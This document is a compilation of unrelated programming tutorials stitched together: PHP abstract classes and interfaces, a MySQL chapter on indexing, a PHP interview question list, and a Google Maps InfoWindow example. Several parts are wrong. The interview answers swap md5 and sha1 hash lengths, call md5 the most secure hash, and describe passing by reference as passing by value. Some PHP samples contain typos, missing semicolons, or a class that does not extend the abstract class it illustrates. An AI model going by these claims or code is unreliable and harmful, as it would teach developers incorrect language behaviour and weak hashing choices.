As we know that abstract functions are those functions of abstract class which is only defined. It will be declared in your child class. You can create any method abstract using keyword abstract. You can only create abstract method either in abstract class or interface. Following is example of the abstract method implementation:

abstract class abc
{
abstract protected function f1($a , $b);
}
class xyz extends abc
{
protected function f1($name , $address)
{
echo "$name , $address";
}
}
$a = new xyz();

In class abc we have defined an abstract function f1. Now when we have inherited class abc then declared function f1. If you have an abstract method in your abstract class then once you inherit your abstract class then it is necessary to declare your abstract method. If you will not declare your abstract method then PHP will throw error in that case.

You can declare your abstract method in child class with the same visibility or less restricted visibility.

abstract class parentTest
{
abstract protected function f1();
abstract public function f2();
//abstract private function f3(); //this will trhow error
}
class childTest
{
public function f1()
{
//body of your function
}
public function f2()
{
//body of your function
}
protected function f3()
{
//body of your function
}
}
$a = new childTest();

In above code you can see that you have declare 3 function in abstract class. But private declaration of the abstract method will always throw error. Because private method is availabe only in the same class context. But in case of f1. This is protected. Now in child class we have defined it as public because public is less restricted than protected. And for function f2 which is already public so we have defined it as public in our child class. We have defined it public because no any visibility is less restricted than public.

What is Interface ?

Interface in oop enforce definition of some set of method in the class. By implementing interface you are forcing any class to must declaring some specific set of methods in oop. For example if you are creating class to render HTML element then it is necessary to set id and name of your html tag. So in this case you will create interface for that class and define method like setID and setName. So whenever someone will create any class to render HTML tag and implemented your interface then he must need to define setId and setName method in their class. In other word you can say that by help of interface you can set some definition of your object. Interface is very useful if you are creating architecture of any oop base application. Inter

Interface in PHP

Interface in php can be implemented like other oop lanugage. You can create interface in php using keyword interface. By implementation of interface in php class you are specifying set of the method which classes must implement.

You can create interface in php using interface keyword. Rest of the things are typically identical to classes. Following is very small example of interface in php.
interface abc
{
public function xyz($b);
}

So in above code you are creating interface with name abc. Interface abc has function xyz. Whenever you will implement abc interface in your class then you have to create method with name xyz. If you will not create function xyz then it will throw error.

You can implement your interface in your class using implements keyword. Let us implement our interface abc in our class
class test implements abc
{
public function xyz($b)
{
//your function body
}
}

You can only define method in interface with public accessibility. If you will use other than public visibility in interface then it will throw error. Also while defining method in your interface do not use abstract keyword in your methods.

You can also extend interface like class. You can extend interface in php using extendskeyword.
interface template1
{
public function f1();
}
interface template2 extends template1
{
public function f2();
}
class abc implements template2
{
public function f1()
{
//Your function body
}
public function f2()
{
//your function body
}
}

So here template2 has all property of tempate2. So whenever you will implement template2 in your class, you have to create function of both interfaces.

You can also extend multiple interface in one interface in php.
interface template1
{
public function f1();
}
interface template2
{
public function f2();
}
interface template3 extends template1, template2
{
public function f3();
}
class test implements template3
{
public function f1()
{
//your function body
}
public function f2()
{
//your function body
}
public function f3()
{
//your function body
}
}

You can also implement more than one interface in php class.
interface template1
{
public function f1();
}
interface template2
{
public function f2();
}
class test implments template1, template2
{
public function f1()
{
//your function body
}
public function f2()
{
//your function body
}
}

You can not implement 2 interfaces if both share function with same name. It will throw error.

Your function parameter in class must be identical to the parameter in the interface signature. Following is example some example
interface template1
{
public function f1($a)
}
class test implements template1
{
public function f1($a)
{
echo $a;
}
}

Above will work. But following example will not work:
interface template1
{
public function f1($a)
}
class test implements template1
{
public function f1()
{
echo $a;
}
}

But it is not necessary to use the same name of the variable. Like $a. You can also use any name. For example:
interface template1
{
public function f1($a)
}
class test implements template1
{
public function f1($name)
{
echo $name;
}
}

If you are using default argument then you can change your value of the argument. For example
interface template1
{
public function f1($a = 20)
}
class test implements template1
{
public function f1($name  = "ankur")
{
echo $name;
}
}

In above section we have discussed interfaces and abstract classes in php. Both are almost doing same things but has some difference.

Differences between abstract class and interface in PHP

Following are some main difference between abstract classes and interface in php

  1. In abstract classes this is not necessary that every method should be abstract. But in interface every method is abstract.
  2. Multiple and multilevel both type of inheritance is possible in interface. But single and multilevel inheritance is possible in abstract classes.
  3. Method of php interface must be public only. Method in abstract class in php could be public or protected both.
  4. In abstract class you can define as well as declare methods. But in interface you can only defined your methods.

MySQL Query Optimization | Using Indexing

Database management systems implement abstract concepts but do so on real hardware bound by real physical constraints. As a result, queries take time—sometimes an annoyingly long time. Find out how to minimize your wait in this sample chapter.

The world of relational database theory is a world dominated by tables
and sets, and operations on tables and sets. A database is a set of tables,
and a table is a set of rows and columns. When you issue a SELECT statement
to retrieve rows from a table, you get back another set of rows and columns—that
is, another table. These are abstract notions that make no reference to the
underlying representation a database system uses to operate on the data in
your tables. Another abstraction is that operations on tables happen all at
once; queries are conceptualized as set operations and there is no concept
of time in set theory.

The real world, of course, is quite different. Database management systems
implement abstract concepts but do so on real hardware bound by real physical
constraints. As a result, queries take time—sometimes an annoyingly long
time. And we, being impatient creatures, don’t like to wait, so we leave
the abstract world of instantaneous mathematical operations on sets and look
around for ways to speed up our queries. Fortunately, there are several techniques
for doing so:

  • We index tables to allow the database server to look up rows more quickly.

  • We consider how to write queries to take advantage of those indexes to
    the fullest extent, and use the EXPLAIN statement to check whether
    the MySQL server really is doing so.

  • We write queries to affect the server’s scheduling mechanism so that
    queries arriving from multiple clients cooperate better.

  • We modify the server’s operating parameters to get it to perform
    more efficiently. We think about what’s going on with the underlying
    hardware and how we can work around its physical constraints to improve
    performance.

Those are the kinds of issues that this chapter focuses on, with the goal
of assisting you in optimizing the performance of your database system so that
it processes your queries as quickly as possible. MySQL is already quite fast,
but even the fastest database can run queries more quickly if you help it do
so.

Using Indexing

Indexing is the most important tool you have for speeding up queries. Other
techniques are available to you, too, but generally the one thing that makes the
most difference is the proper use of indexes. On the MySQL mailing list, people
often ask for help in making a query run faster. In a surprisingly large number
of cases, there are no indexes on the tables in question, and adding indexes
often solves the problem immediately. It doesn’t always work like that,
because optimization isn’t always simple. Nevertheless, if you don’t
use indexes, in many cases you’re just wasting your time trying to improve
performance by other means. Use indexing first to get the biggest performance
boost and then see what other techniques might be helpful.

This section describes what an index is and how indexing improves query
performance. It also discusses the circumstances under which indexes might
degrade performance and provides guidelines for choosing indexes for your table
wisely. In the next section, we’ll discuss MySQL’s query optimizer
that attempts to find the most efficient way to execute queries. It’s good
to have some understanding of the optimizer in addition to knowing how to create
indexes because then you’ll be better able to take advantage of the indexes
you create. Certain ways of writing queries actually prevent your indexes from
being useful, and generally you’ll want to avoid having that happen.

Benefits of Indexing

Let’s consider how an index works by beginning with a table that has no
indexes. An unindexed table is simply an unordered collection of rows. For
example, Figure 4.1 shows the ad table that was discussed in Chapter 1,
“Getting Started with MySQL and SQL.” There are no indexes on this
table, so to find the rows for a particular company, it’s necessary to
examine each row in the table to see if it matches the desired value. This
involves a full table scan, which is slow, as well as tremendously inefficient
if the table is large but contains only a few records that match the search
criteria.

Figure 4.2 shows the same table, but with the addition of an index on the
company_num column in the ad table. The index contains an
entry for each row in the ad table, but the index entries are sorted by
company_num value. Now, instead of searching through the table row by
row looking for items that match, we can use the index. Suppose that we’re
looking for all rows for company 13. We begin scanning the index and find three
values for that company. Then we reach the index value for company 14, which is
higher than the one we’re looking for. Index values are sorted, so when we
read the index record containing 14, we know we won’t find any more matches
and can quit looking. Thus, one efficiency gained by using the index is that we
can tell where the matching rows end and can skip the rest. Another efficiency
comes about through the use of positioning algorithms for finding the first
matching entry without doing a linear scan from the start of the index (for
example, a binary search is much quicker than a scan). That way, we can quickly
position to the first matching value and save a lot of time in the search.
Databases use various techniques for positioning to index values quickly, but
it’s not so important here what those techniques are. What’s important
is that they work and that indexing is a good thing.


Figure 4.1

Figure 4.1 Unindexed
ad table.


Figure 4.2

Figure 4.2 Indexed
ad table.

You might be asking why we don’t just sort the data rows and dispense
with the index. Wouldn’t that produce the same type of improvement in
search speed? Yes, it would—if the table had a single index. But you might
want to add a second index, and you can’t sort the data rows two different
ways at once. (For example, you might want one index on customer names and
another on customer ID numbers or phone numbers.) Using indexes as entities
separate from the data rows solves the problem and allows multiple indexes to be
created. In addition, rows in the index are generally shorter than data rows.
When you insert or delete new values, it’s easier to move around shorter
index values to maintain the sort order than to move around the longer data
rows.

The particular details of index implementations vary for different MySQL
storage engines. For example, for a MyISAM table, the table’s data rows are
kept in a data file, and index values are kept in an index file. You can have
more than one index on a table, but they’re all stored in the same index
file. Each index in the index file consists of a sorted array of key records
that are used for fast access into the data file.

By contrast, the BDB and InnoDB storage engines do not separate data rows and
index values in the same way, although both maintain indexes as sets of sorted
values. By default, the BDB engine uses a single file per table to store both
data and index values. The InnoDB engine uses a single tablespace within which
it manages data and index storage for all InnoDB tables. InnoDB can be
configured to create each table with its own tablespace, but even so, a
table’s data and indexes are stored in the same tablespace file.

The preceding discussion describes the benefit of an index in the context of
single-table queries, where the use of an index speeds searches significantly by
eliminating the need for full table scans. Indexes are even more valuable when
you’re running queries involving joins on multiple tables. In a
single-table query, the number of values you need to examine per column is the
number of rows in the table. In a multiple-table query, the number of possible
combinations skyrockets because it’s the product of the number of rows in
the tables.

Suppose that you have three unindexed tables, t1, t2, and
t3, each containing a column i1, i2, and i3,
respectively, and each consisting of 1,000 rows that contain the numbers 1
through 1000. A query to find all combinations of table rows in which the values
are equal looks like this:

SELECT t1.i1, t2.i2, t3.i3
FROM t1, t2, t3
WHERE t1.i1 = t2.i2 AND t2.i1 = t3.i3;

The result of this query should be 1,000 rows, each containing three equal
values. If we process the query in the absence of indexes, we have no idea which
rows contain which values without scanning them all. Consequently, we must try
all combinations to find the ones that match the WHERE clause. The
number of possible combinations is 1,000 x 1,000 x 1,000 (one billion!), which
is a million times more than the number of matches. That’s a lot of wasted
effort. The example illustrates that as tables grow, the time to process joins
on those tables grows even more if no indexes are used, leading to very poor
performance. We can speed things up considerably by indexing the tables, because
the indexes allow the query to be processed like this:

  1. Select the first row from table t1 and see what value the row
    contains.

  2. Using the index on table t2, go directly to the row that matches
    the value from t1. Similarly, using the index on table t3, go
    directly to the row that matches the value from t2.

  3. Proceed to the next row of table t1 and repeat the preceding
    procedure. Do this until all rows in t1 have been examined.

In this case, we still perform a full scan of table t1, but we can
do indexed lookups on t2 and t3 to pull out rows from those
tables directly. The query runs about a million times faster this
way—literally. This example is contrived for the purpose of making a point,
of course. Nevertheless, the problems it illustrates are real, and adding
indexes to tables that have none often results in dramatic performance
gains.

MySQL uses indexes in several ways:

  • As just described, indexes are used to speed up searches for rows
    matching terms of a WHERE clause or rows that match rows in other
    tables when performing joins.

  • For queries that use the MIN() or MAX() functions, the
    smallest or largest value in an indexed column can be found quickly without
    examining every row.

  • MySQL can often use indexes to perform sorting and grouping operations
    quickly for ORDER BY and GROUP BY
    clauses.

  • Sometimes MySQL can use an index to reading all the information required
    for a query. Suppose that you’re selecting values from an indexed numeric
    column in a MyISAM table, and you’re not selecting other columns from the
    table. In this case, when MySQL reads an index value from the index file, it
    obtains the same value that it would get by reading the data file. There’s
    no reason to read values twice, so the data file need not even be
    consulted.

Costs of Indexing

In general, if MySQL can figure out how to use an index to process a query
more quickly, it will. This means that, for the most part, if you don’t
index your tables, you’re hurting yourself. You can see that I’m
painting a rosy picture of the benefits of indexing. Are there disadvantages?
Yes, there are. There are costs both in time and in space. In practice, these
drawbacks tend to be outweighed by the advantages, but you should know what they
are.

First, indexes speed up retrievals but slow down inserts and deletes, as well
as updates of values in indexed columns. That is, indexes slow down most
operations that involve writing. This occurs because writing a record requires
writing not only the data row, it requires changes to any indexes as well. The
more indexes a table has, the more changes need to be made, and the greater the
average performance degradation. In the section “Loading Data
Efficiently,” we’ll go into more detail about this phenomenon and what
you can do about it.

Second, an index takes up disk space, and multiple indexes take up
correspondingly more space. This might cause you to reach a table size limit
more quickly than if there are no indexes:

  • For a MyISAM table, indexing it heavily may cause the index file to reach
    its maximum size more quickly than the data file.

  • For BDB tables, which store data and index values together in the same
    file, adding indexes causes the table to reach the maximum file size more
    quickly.

  • All InnoDB tables that are located within the InnoDB shared tablespace
    compete for the same common pool of space, and adding indexes depletes storage
    within this tablespace more quickly. However, unlike the files used for MyISAM
    and BDB tables, the InnoDB shared tablespace is not bound by your operating
    system’s file-size limit, because it can be configured to use multiple
    files. As long as you have additional disk space, you can expand the tablespace
    by adding new components to it.

  • InnoDB tables that use individual tablespaces are constrained the same
    way as BDB tables because data and index values are stored together in a single
    file.

The practical implication of both these factors is that if you don’t
need a particular index to help queries perform better, don’t create
it.

Choosing Indexes

The syntax for creating indexes is covered in the section “Creating
Indexes,” of Chapter 2, “MySQL SQL Syntax and Use.” I assume here
that you’ve read that section. But knowing syntax doesn’t in itself
help you determine how your tables should be indexed. That requires
some thought about the way you use your tables. This section gives some
guidelines on how to identify candidate columns for indexing and how best to set
up indexes:

Index columns that you use for searching, sorting, or grouping, not columns
you only display as output.
In other words, the best candidate columns
for indexing are the columns that appear in your WHERE clause, columns
named in join clauses, or columns that appear in ORDER BY or GROUP BY clauses.
Columns that appear only in the output column list following the SELECT keyword
are not good candidates:

SELECT
  col_a                      <- not a candidate
FROM
  tbl1 LEFT JOIN tbl2
  ON tbl1.col_b = tbl2.col_c <- candidates
WHERE
  col_d = expr;              <- a candidate

The columns that you display and the columns you use in the WHERE clause
might be the same, of course. The point is that appearance of a column in the
output column list is not in itself a good indicator that it should be indexed.

Columns that appear in join clauses or in expressions of the form
col1 = col2 in WHERE
clauses are especially good candidates for indexing. col_b and
col_c in the query just shown are examples of this. If MySQL can
optimize a query using joined columns, it cuts down the potential table-row
combinations quite a bit by eliminating full table scans.

Consider column cardinality. The cardinality of a column is
the number of distinct values that it contains. For example, a column that
contains the values 1, 3, 7, 4, 7, and 3 has a cardinality of four. Indexes work
best for columns that have a high cardinality relative to the number of rows in
the table (that is, columns that have many unique values and few duplicates). If
a column contains many different age values, an index will differentiate rows
readily. An index will not help for a column that is used to record sex and
contains only the two values 'M' and 'F'.
If the values occur about equally, you’ll get about half of the rows
whichever value you search for. Under these circumstances, the index might never
be used at all, because the query optimizer generally skips an index in favor of
a full table scan if it determines that a value occurs in a large percentage of
a table’s rows. The conventional wisdom for this percentage used to be
“30%.” Nowadays the optimizer is more complex and takes other factors
into account, so the percentage is not the sole determinant of when MySQL
prefers a scan over using an index.

Index short values. Use smaller data types when possible.
For example, don’t use a BIGINT column if a MEDIUMINT is
large enough to hold the values you need to store. Don’t use
CHAR(100) if none of your values are longer than 25 characters. Smaller
values improve index processing in several ways:

  • Shorter values can be compared more quickly, so index lookups are
    faster.

  • Smaller values result in smaller indexes that require less disk
    I/O.

  • With shorter key values, index blocks in the key cache hold more key
    values. MySQL can hold more keys in memory at once, which improves the
    likelihood of locating key values without reading additional index blocks from
    disk.

For the InnoDB and BDB storage engines that use clustered indexes, it’s
especially beneficial to keep the primary key short. A clustered index is one
where the data rows are stored together with (that is, clustered with) the
primary key values. Other indexes are secondary indexes; these store the primary
key value with the secondary index values. A lookup in a secondary index yields
a primary key value, which then is used to locate the data row. The implication
is that primary key values are duplicated into each secondary index, so if
primary key values are longer, the extra storage is required for each secondary
index as well.

Index prefixes of string values. If you’re indexing a
string column, specify a prefix length whenever it’s reasonable to do so.
For example, if you have a CHAR(200) column, don’t index the
entire column if most values are unique within the first 10 or 20 characters.
Indexing the first 10 or 20 characters will save a lot of space in the index,
and probably will make your queries faster as well. By indexing shorter values,
you gain the advantages described in the previous item relating to comparison
speed and disk I/O reduction. You want to use some common sense, of course.
Indexing just the first character from a column isn’t likely to be that
helpful because then there won’t be very many distinct values in the
index.

You can index prefixes of CHAR, VARCHAR, BINARY,
VARBINARY, BLOB, and TEXT columns. The syntax is
described in “Creating Indexes,” in Chapter 2.

Take advantage of leftmost prefixes. When you create an
n-column composite index, you actually create
n indexes that MySQL can use. A composite index serves as
several indexes because any leftmost set of columns in the index can be used to
match rows. Such a set is called a “leftmost prefix.” (This is
different from indexing a prefix of a column, which is using the first
n characters of the column for index values.)

Suppose that you have a table with a composite index on columns named
state, city, and zip. Rows in the index are sorted in
state/city/zip order, so they’re automatically sorted in
state/city order and in state order as well. This means that
MySQL can take advantage of the index even if you specify only state
values in a query, or only state and city values. Thus, the
index can be used to search the following combinations of columns:

state, city, zip
state, city
state

MySQL cannot use the index for searches that don’t involve a leftmost
prefix. For example, if you search by city or by zip, the
index isn’t used. If you’re searching for a given state and a
particular ZIP code (columns 1 and 3 of the index), the index can’t be used
for the combination of values, although MySQL can narrow the search using the
index to find rows that match the state.

Don’t over-index. Don’t index everything in sight
based on the assumption “the more, the better.” That’s a mistake.
Every additional index takes extra disk space and hurts performance of write
operations, as has already been mentioned. Indexes must be updated and possibly
reorganized when you modify the contents of your tables, and the more indexes
you have, the longer this takes. If you have an index that is rarely or never
used, you’ll slow down table modifications unnecessarily. In addition,
MySQL considers indexes when generating an execution plan for retrievals.
Creating extra indexes creates more work for the query optimizer. It’s also
possible (if unlikely) that MySQL will fail to choose the best index to use when
you have too many indexes. Maintaining only the indexes you need helps the query
optimizer avoid making such mistakes.

If you’re thinking about adding an index to a table that is already
indexed, consider whether the index you’re thinking about adding is a
leftmost prefix of an existing multiple-column index. If so, don’t bother
adding the index because, in effect, you already have it. (For example, if you
already have an index on state, city, and zip, there
is no point in adding an index on state.)

Match index types to the type of comparisons you perform.
When you create an index, most storage engines choose the index implementation
they Match index types to the type of comparisons you perform. When you
create an index, most storage engines choose the index implementation they will
use. For example, InnoDB always uses B-tree indexes. MySQL also uses B-tree indexes,
except that it uses R-tree indexes for spatial data types. However, the MEMORY
storage engine supports hash indexes and B-tree indexes, and allows you to select
which one you want. To choose an index type, consider what kind of comparison
operations you plan to perform on the indexed column:

  • For a hash index, a hash function is applied to each column value. The
    resulting hash values are stored in the index and used to perform lookups.
    (A hash function implements an algorithm that is likely to produce distinct
    hash values for distinct input values. The advantage of using hash values
    is that they can be compared more efficiently than the original values.)
    Hash indexes are very fast for exact-match comparisons performed with the = or <=> operators.
    But they are poor for comparisons that look for a range of values, as in
    these expressions:

  • id < 30
    weight BETWEEN 100 AND 150
  • B-tree indexes can be used effectively for comparisons involving exact
    or range-based comparisons that use the <, <=, =, >=, >, <>, !=,
    and BETWEEN operators. B-tree indexes can also be used for LIKE pattern
    matches if the pattern begins with a literal string rather than a wildcard
    character.

If you use a MEMORY table only for exact-value lookups, a hash index is a
good choice. This is the default index type for MEMORY tables, so you need
do nothing special. If you need to perform range-based comparisons with a MEMORY
table, you should use a B-tree index instead. To specify this type of index,
add USING BTREE to your index definition. For example:

CREATE TABLE lookup
(
  id   INT NOT NULL,
  name  CHAR(20),
  PRIMARY KEY USING BTREE (id)
) ENGINE = MEMORY;

If the types of statements that you expect to execute warrant it, a single
MEMORY table can have both hash indexes and B-tree indexes, even on the same
column.

Some types of comparisons cannot use indexes. If you perform comparisons only
by passing column values to a function such as STRCMP(), there is no
value in indexing it. The server must evaluate the function value for each row,
which precludes use of an index on the column.

Use the slow-query log to identify queries that may be performing
badly.
This log can help you find queries that might benefit from
indexing. You can view this log directly (it is written as a text file), or use
the mysqldumpslow utility to summarize its contents. (See Chapter 11,
“General MySQL Administration,” for a discussion of MySQL’s log
files.) If a given query shows up over and over in the slow-query log,
that’s a clue you’ve found a query that might not be written
optimally. You may be able to rewrite it to make it run more quickly. Keep in
mind when assessing your slow-query log that “slow” is measured in
real time, so more queries will show up in the slow-query log on a heavily
loaded server than on a lightly loaded one.

PHP interview questions and answers

 

  • What does a special set of tags <?= and ?> do in PHP? – The output is displayed directly to the browser.
  • What’s the difference between include and require? – It’s how they handle failures. If the file is not found by require(), it will cause a fatal error and halt the execution of the script. If the file is not found by include(), a warning will be issued, but execution will continue.
  • I am trying to assign a variable the value of 0123, but it keeps coming up with a different number, what’s the problem? – PHP Interpreter treats numbers beginning with 0 as octal. Look at the similar PHP interview questions for more numeric problems.
  • Would I use print “$a dollars” or “{$a} dollars” to print out the amount of dollars in this example? – In this example it wouldn’t matter, since the variable is all by itself, but if you were to print something like “{$a},000,000 mln dollars”, then you definitely need to use the braces.
  • How do you define a constant? – Via define() directive, like define (“MYCONSTANT”, 100);
  • How do you pass a variable by value? – Just like in C++, put an ampersand in front of it, like $a = &$b
  • Will comparison of string “10” and integer 11 work in PHP? – Yes, internally PHP will cast everything to the integer type, so numbers 10 and 11 will be compared.
  • When are you supposed to use endif to end the conditional statement? – When the original if was followed by : and then the code block without braces.
  • Explain the ternary conditional operator in PHP? – Expression preceding the ? is evaluated, if it’s true, then the expression preceding the : is executed, otherwise, the expression following : is executed.
  • How do I find out the number of parameters passed into function? – func_num_args() function returns the number of parameters passed in.
  • If the variable $a is equal to 5 and variable $b is equal to character a, what’s the value of $$b? – 100, it’s a reference to existing variable.
  • What’s the difference between accessing a class method via -> and via ::? – :: is allowed to access methods that can perform static operations, i.e. those, which do not require object initialization.
  • Are objects passed by value or by reference? – Everything is passed by value.
  • How do you call a constructor for a parent class? – parent::constructor($value)
  • What’s the special meaning of __sleep and __wakeup? – __sleep returns the array of all the variables than need to be saved, while __wakeup retrieves them.
  • Why doesn’t the following code print the newline properly?    <?php
    $str = ‘Hello, there.nHow are you?nThanks for visiting TechInterviews’;
    print $str;
    ?>
    Because inside the single quotes the n character is not interpreted as newline, just as a sequence of two characters – and n.
  • Would you initialize your strings with single quotes or double quotes? – Since the data inside the single-quoted string is not parsed for variable substitution, it’s always a better idea speed-wise to initialize a string with single quotes, unless you specifically need variable substitution.
  • How come the code <?php print “Contents: $arr[1]”; ?> works, but <?php print “Contents: $arr[1][2]”; ?> doesn’t for two-dimensional array of mine? – Any time you have an array with more than one dimension, complex parsing syntax is required. print “Contents: {$arr[1][2]}” would’ve worked.
  • What is the difference between characters 23 and x23? – The first one is octal 23, the second is hex 23.
  • With a heredoc syntax, do I get variable substitution inside the heredoc contents? – Yes.
  • I want to combine two variables together:
     $var1 = 'Welcome to ';
     $var2 = 'TechInterviews.com';
    

    What will work faster? Code sample 1:

    $var 3 = $var1.$var2;
    

    Or code sample 2:

    $var3 = "$var1$var2";
    

    Both examples would provide the same result – $var3 equal to “Welcome to TechInterviews.com”. However, Code Sample 1 will work significantly faster. Try it out with large sets of data (or via concatenating small sets a million times or so), and you will see that concatenation works significantly faster than variable substitution.

  • For printing out strings, there are echo, print and printf. Explain the differences. – echo is the most primitive of them, and just outputs the contents following the construct to the screen. print is also a construct (so parentheses are optional when calling it), but it returns TRUE on successful output and FALSE if it was unable to print out the string. However, you can pass multiple parameters to echo, like:
     <?php echo 'Welcome ', 'to', ' ', 'TechInterviews!'; ?>

    and it will output the string “Welcome to TechInterviews!” print does not take multiple parameters. It is also generally argued that echo is faster, but usually the speed advantage is negligible, and might not be there for future versions of PHP. printf  is a function, not a construct, and allows such advantages as formatted output, but it’s the slowest way to print out data out of echo, print and printf.

  • I am writing an application in PHP that outputs a printable version of driving directions. It contains some long sentences, and I am a neat freak, and would like to make sure that no line exceeds 50 characters. How do I accomplish that with PHP? – On large strings that need to be formatted according to some length specifications, use wordwrap() or chunk_split().
  • What’s the output of the ucwords function in this example?
    	$formatted = ucwords("TECHINTERVIEWS IS COLLECTION OF INTERVIEW QUESTIONS");
    	print $formatted;

    What will be printed is TECHINTERVIEWS IS COLLECTION OF INTERVIEW QUESTIONS.
    ucwords() makes every first letter of every word capital, but it does not lower-case anything else. To avoid this, and get a properly formatted string, it’s worth using strtolower() first.

  • What’s the difference between htmlentities() and htmlspecialchars()? – htmlspecialchars only takes care of <, >, single quote ‘, double quote ” and ampersand. htmlentities translates all occurrences of character sequences that have different meaning in HTML.
  • What’s the difference between md5(), crc32() and sha1() crypto on PHP? – The major difference is the length of the hash generated. CRC32 is, evidently, 32 bits, while sha1() returns a 128 bit value, and md5() returns a 160 bit value. This is important when avoiding collisions.
  • So if md5() generates the most secure hash, why would you ever use the less secure crc32() and sha1()? – Crypto usage in PHP is simple, but that doesn’t mean it’s free. First off, depending on the data that you’re encrypting, you might have reasons to store a 32-bit value in the database instead of the 160-bit value to save on space. Second, the more secure the crypto is, the longer is the computation time to deliver the hash value. A high volume site might be significantly slowed down, if frequent md5() generation is required.

 

Google Map API v3 ~ Simply Close an infowindow?

With the v3 API, you can easily close the InfoWindow with the InfoWindow.close() method. You simply need to keep a reference to the InfoWindow object that you are using. Consider the following example, which opens up an InfoWindow and closes it after 5 seconds:

<!DOCTYPE html>
<html> 
<head> 
  <meta http-equiv="content-type" content="text/html; charset=UTF-8"/> 
  <title>Google Maps API InfoWindow Demo</title> 
  <script src="http://maps.google.com/maps/api/js?sensor=false" 
          type="text/javascript"></script>
</head> 
<body>
  <div id="map" style="width: 400px; height: 500px;"></div>

  <script type="text/javascript">
    var map = new google.maps.Map(document.getElementById('map'), {
      zoom: 4,
      center: new google.maps.LatLng(-25.36388, 131.04492),
      mapTypeId: google.maps.MapTypeId.ROADMAP
    });

    var marker = new google.maps.Marker({
      position: map.getCenter(),
      map: map
    });

    var infowindow = new google.maps.InfoWindow({
      content: 'An InfoWindow'
    });

    infowindow.open(map, marker);

    setTimeout(function () { infowindow.close(); }, 5000);
  </script>
</body>
</html>

If you have a separate InfoWindow object for each Marker, you may want to consider adding the InfoWindow object as a property of your Marker objects:

var marker = new google.maps.Marker({
  position: map.getCenter(),
   map: map
});

marker.infowindow = new google.maps.InfoWindow({
  content: 'An InfoWindow'
});

Then you would be able to open and close that InfoWindow as follows:

marker.infowindow.open(map, marker);
marker.infowindow.close();

The same applies if you have an array of markers:

var markers = [];

marker[0] = new google.maps.Marker({
  position: map.getCenter(),
   map: map
});

marker[0].infowindow = new google.maps.InfoWindow({
  content: 'An InfoWindow'
});

// ...

marker[0].infowindow.open(map, marker);
marker[0].infowindow.close();